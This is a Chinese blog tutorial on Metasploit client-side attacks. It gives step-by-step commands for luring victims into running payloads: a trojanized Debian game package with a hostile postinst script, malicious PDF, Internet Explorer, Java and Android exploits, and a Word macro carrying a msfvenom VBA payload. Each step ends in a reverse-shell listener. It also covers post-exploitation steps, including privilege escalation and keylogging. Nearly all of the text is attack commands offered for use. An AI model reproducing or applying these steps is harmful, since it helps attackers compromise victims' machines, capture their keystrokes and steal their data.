当前位置:网站首页>Metasploit——客户端渗透
Metasploit——客户端渗透
2022-08-10 22:53:00 【隐身的菜鸟】
目录
2.诱骗被害者执行Payload (Linux Deb安装包)
3. 利用Acrobat Reader漏洞执行payload
在无法突破网络边界的情况下转而攻击客户端
1.含有漏洞利用代码的WEB站点:利用客户端漏洞
2.社会工程学:骗取敏感信息,诱使目标执行含有漏洞利用代码的DOC、PDF等Payload
LHOST:反弹连接的目标IP地址
LPORT:反弹连接的目标端口
-a:指定目标系统的硬件架构
--platform:指定目标运行平台
-p:指定payload
-b:去掉坏字符
-e:使用编码模块
-i:编码次数
-f:指定输出文件格式
-o:输出文件名1.诱骗被害者执行Payload (windows)

只要目标客户端执行制作的exe文件,就可获得目标shell
2.诱骗被害者执行Payload (Linux Deb安装包)

apt-get --download-only install freesweep
#只需要dep文件,加上参数–download-only,下载好的文件保存在/var/cache/qpt/archives
dpkg -x freesweep_0.90-1 i386.deb free
#解压缩文件,到指定目录free下
mkdir free/DEBIAN && cd free/DEBIAN
vi control
Package: freesweep
Version: 1.0.1-1
Section: Games and Amusement
Priority: optional
Architecture: i386
Maintainer: Ubuntu MOTU Developers ([email protected])
Description: a text-based minesweeper
Freesweep is an implementation of the popular minesweeper game, where
one tries to find all the mines without igniting any, based on hints given
by the computer. Unlike most implementations of this game, Freesweep
works in any visual text display - in Linux console, in an xterm, and in
most text-based terminals currently in use.
vi postinst
#!/bin/sh
sudo chmod 2755 /usr/games/freesweep_scores && /usr/games/
freesweep_scores & /usr/games/freesweep &
......
#将/root/下的free.deb,传给目标
-----------------------------------------------------------------------
msfconsole启动侦听
use exploit/multi/handler
set payload linux/x86/shell/reverse_tcp
set ......
exploit(开启侦听)
只要目标安装该文件,侦听的端口就会获得反弹的shell3. 利用Acrobat Reader漏洞执行payload

(1) 构造PDF文件,诱使目标点击,只要目标用Acrobat Reader执行PDF文件,就可反弹shell
exploit/windows/fileformat/adobe_utilprintf
set payload windows/meterpreter/reverse_tcp
exploit
use exploit/multi/handler(开启侦听)
set payload windwos/meterpreter/reverse_tcp
exploit(2)构造恶意网站


目标访问恶意网站,漏洞利用代码会执行,进一步执行payload,然后反弹shell
#获得meterpreter
>getuid #进程
>migrate 856 #迁移
>use priv #提权
>run post/windows/capture/keylog_recorder #取到shell的进一步攻击,键盘记录(post模块)4. 利用Flash漏洞执行payload

设置反弹shell,设置跟构造恶意网站一样
5.利用IE浏览器漏洞执行payload
use exploit/windows/browser/ms14_064_ole_code_execution
set payload windows/meterpreter/reverse_tcp
exploit6.利用JRE漏洞执行payload

设置payload: set payload java/meterpreter/reverse_tcp

生成这个payload,就要生成一个安卓系统上可用的安装包文件,比如说一个.apk的安装包
-p android平台安卓,-t raw原始格式
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
7.VBScript感染方式
VBScript感染方式
- 利用宏感染word、excel文档
- 绕过某些基于文件类型检查的安全机制
- 生成vbscript脚本msfvenom -a x86 --platform windows -p windows/meterpreter
/reverse_tcp LHOST=x.x.x.x LPORT=4444 - e x86/shikata_ga_nai -f vba-exe
Office 2007 +(office版本2007以上)
新建word文档,选择视图一一宏一一创建
在创建的宏里粘入Payload第一部分的VBA代码
由 Sub Auto_Open() Goepu12 End Sub 到 Sub Workbook_Open() Auto_Open End Subword文档正文沾入Payload第二部分的内容
由Jjiktezjhl到最后
Msf启动侦听
- use exploit/multi/handler
- set payload windows/meterpreter/reverse_tcp
目标打开office,可获得shell
边栏推荐
- August 10, 2022: Building Web Applications for Beginners with ASP.NET Core -- Creating Web UIs with ASP.NET Core
- HGAME 2022 Final writeup
- How to be a Righteous Hacker?What should you study?
- VulnHub之DC靶场下载与DC靶场全系列渗透实战详细过程
- CFdiv2-Beautiful Mirrors-(期望)
- 计算需要的MIPI lane数目
- 【Maui正式版】创建可跨平台的Maui程序,以及有关依赖注入、MVVM双向绑定的实现和演示
- 生态伙伴开发实践 | 智慧检测实验室应用系统快速接入指令集数字底座
- Qualcomm Platform Development Series Explanation (Application) Introduction to QCMAP Application Framework
- MySQL:MySQL的集群——主从复制的原理和配置
猜你喜欢

(PC+WAP)带手机端pbootcms模板铝合金类网站

德科立科创板上市:年营收7.3亿 市值59亿

"DevOps Night Talk" - Pilot - Introduction to CNCF Open Source DevOps Project DevStream - feat. PMC member Hu Tao

信息系统项目管理师核心考点(六十五)信息安全基础知识网络安全

CFdiv2-Common Number-(奇偶数二分+规律)

EL表达式

Detailed installation steps and environment configuration of geemap

DC-8靶场下载及渗透实战详细过程(DC靶场系列)

koa框架(一)

高学历毕业生,该学单片机还是plc?
随机推荐
Redis - 利用lua脚本控制密码错误次数超限,锁定账号
DC-7靶场下载及渗透实战详细过程(DC靶场系列)
MySQL performance schema性能分析实战
canvas
从零开始配置 vim(7)——自动命令
二叉树 | 代码随想录学习笔记
金山云CEO王育林离职:正值冲刺港股之际 雷军曾送金砖
开源一夏 | 盘点那些 Golang 标星超过 20 K 的优质项目
Ndk 和Cmake报错解决
Distribution Network Expansion Planning: Consider Decisions Using Probabilistic Energy Production and Consumption Profiles (Matlab Code Implementation)
实例049:lambda
Redis - Use lua script to control the number of wrong passwords and lock the account
gcc492 compile `.rodata‘ can not be used when making a PIE object; recompile with -fPIE
德科立科创板上市:年营收7.3亿 市值59亿
windows10安装PostgreSQL14避坑分享
PlaidCTF 2022 Amongst Ourselves: Shipmate writeup
RecyclerView滑动监听
ITK 读取一个目录中的一个序列,然后改变头信息,将多张dcm图像写成一个dcm文件。
实例052:按位或
3d虚拟现实数字化展厅给予参观者充分的交互性和空间感